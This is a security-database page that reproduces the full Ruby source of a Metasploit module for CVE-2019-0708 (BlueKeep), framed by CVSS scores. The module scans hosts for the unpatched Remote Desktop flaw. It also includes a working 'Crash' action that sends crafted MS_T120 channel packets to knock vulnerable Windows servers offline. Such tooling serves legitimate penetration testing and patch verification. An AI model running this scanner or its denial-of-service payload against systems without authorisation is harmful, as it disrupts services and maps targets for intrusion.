Lucene search

K
packetstormTom Sellers, zerosum0x0, JaGoTu, National Cyber Security Centre, metasploit.comPACKETSTORM:180946
HistoryAug 31, 2024 - 12:00 a.m.

CVE-2019-0708 BlueKeep Microsoft Remote Desktop Remote Code Execution Check

2024-08-3100:00:00
Tom Sellers, zerosum0x0, JaGoTu, National Cyber Security Centre, metasploit.com
packetstormsecurity.com
24
cve-2019-0708 bluekeep
microsoft remote desktop
remote code execution
vulnerability
rdp patch
dos vulnerability
national cyber security centre
jagotu
zerosum0x0

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.975

Percentile

100.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::RDP  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',  
'Description' => %q{  
This module checks a range of hosts for the CVE-2019-0708 vulnerability  
by binding the MS_T120 channel outside of its normal slot and sending  
non-DoS packets which respond differently on patched and vulnerable hosts.  
It can optionally trigger the DoS vulnerability.  
},  
'Author' =>  
[  
'National Cyber Security Centre', # Discovery  
'JaGoTu', # Module  
'zerosum0x0', # Module  
'Tom Sellers' # TLS support, packet documenentation, DoS implementation  
],  
'References' =>  
[  
[ 'CVE', '2019-0708' ],  
[ 'URL', 'https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],  
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]  
],  
'DisclosureDate' => '2019-05-14',  
'License' => MSF_LICENSE,  
'Actions' => [  
['Scan', 'Description' => 'Scan for exploitable targets'],  
['Crash', 'Description' => 'Trigger denial of service vulnerability'],  
],  
'DefaultAction' => 'Scan',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'AKA' => ['BlueKeep']  
}  
)  
)  
end  
  
def report_goods  
report_vuln(  
host: rhost,  
port: rport,  
proto: 'tcp',  
name: name,  
info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',  
refs: references  
)  
end  
  
def run_host(ip)  
# Allow the run command to call the check command  
  
status = check_host(ip)  
if status == Exploit::CheckCode::Vulnerable  
print_good(status[1].to_s)  
elsif status == Exploit::CheckCode::Safe  
vprint_error(status[1].to_s)  
else  
vprint_status(status[1].to_s)  
end  
  
status  
end  
  
def rdp_reachable  
rdp_connect  
rdp_disconnect  
return true  
rescue Rex::ConnectionRefused  
return false  
rescue Rex::ConnectionTimeout  
return false  
end  
  
def check_host(_ip)  
# The check command will call this method instead of run_host  
status = Exploit::CheckCode::Unknown  
  
begin  
begin  
rdp_connect  
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError  
return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')  
end  
  
status = check_rdp_vuln  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e  
bt = e.backtrace.join("\n")  
vprint_error("Unexpected error: #{e.message}")  
vprint_line(bt)  
elog(e)  
rescue RdpCommunicationError  
vprint_error('Error communicating RDP protocol.')  
status = Exploit::CheckCode::Unknown  
rescue Errno::ECONNRESET  
vprint_error('Connection reset')  
rescue StandardError => e  
bt = e.backtrace.join("\n")  
vprint_error("Unexpected error: #{e.message}")  
vprint_line(bt)  
elog(e)  
ensure  
rdp_disconnect  
end  
  
status  
end  
  
def check_for_patch  
begin  
6.times do  
_res = rdp_recv  
end  
rescue RdpCommunicationError  
# we don't care  
end  
  
# The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length  
# The arch governs which of the packets triggers the desired response  
# which is an MCS Disconnect Provider Ultimatum or a timeout.  
  
# Disconnect Provider message of a valid size for each platform  
# has proven to be safe to send as part of the vulnerability check.  
x86_string = '00000000020000000000000000000000'  
x64_string = '0000000000000000020000000000000000000000000000000000000000000000'  
  
if action.name == 'Crash'  
vprint_status('Sending denial of service payloads')  
# Length and chars are arbitrary but total length needs to be longer than  
# 16 for x86 and 32 for x64. Making the payload too long seems to cause  
# the DoS to fail. Note that sometimes the DoS seems to fail. Increasing  
# the payload size and sending more of them doesn't seem to improve the  
# reliability. It *seems* to happen more often on x64, I haven't seen it  
# fail against x86. Repeated attempts will generally trigger the DoS.  
x86_string += 'FF' * 1  
x64_string += 'FF' * 2  
else  
vprint_status('Sending patch check payloads')  
end  
  
chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST  
channel_id = [1005].pack('S>')  
x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)  
  
x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)  
  
6.times do  
rdp_send(x86_packet)  
rdp_send(x64_packet)  
  
# A single pass should be sufficient to cause DoS  
if action.name == 'Crash'  
sleep(1)  
rdp_disconnect  
  
sleep(5)  
if rdp_reachable  
print_error("Target doesn't appear to have been crashed. Consider retrying.")  
return Exploit::CheckCode::Unknown  
else  
print_good('Target service appears to have been successfully crashed.')  
return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')  
end  
end  
  
# Quick check for the Ultimatum PDU  
begin  
res = rdp_recv(-1, 1)  
rescue EOFError  
# we don't care  
end  
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))  
  
# Slow check for Ultimatum PDU. If it doesn't respond in a timely  
# manner then the host is likely patched.  
begin  
4.times do  
res = rdp_recv  
# 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3  
if res.include?(['0300000902f0802180'].pack('H*'))  
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')  
end  
end  
rescue RdpCommunicationError  
# we don't care  
end  
end  
  
Exploit::CheckCode::Safe  
end  
  
def check_rdp_vuln  
# check if rdp is open  
is_rdp, version_info = rdp_fingerprint  
unless is_rdp  
vprint_error('Could not connect to RDP service.')  
return Exploit::CheckCode::Unknown  
end  
rdp_disconnect  
rdp_connect  
is_rdp, server_selected_proto = rdp_check_protocol  
  
requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto  
product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'  
info = "Detected RDP on #{peer} (Windows version: #{product_version})"  
  
service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"  
info << " (#{service_info})"  
  
vprint_status(info)  
  
if requires_nla  
vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')  
return Exploit::CheckCode::Safe  
end  
  
chans = [  
['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],  
['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  
['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],  
]  
  
success = rdp_negotiate_security(chans, server_selected_proto)  
return Exploit::CheckCode::Unknown unless success  
  
rdp_establish_session  
  
result = check_for_patch  
  
if result == Exploit::CheckCode::Vulnerable  
report_goods  
end  
  
# Can't determine, but at least we know the service is running  
result  
end  
  
end  
`

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.975

Percentile

100.0%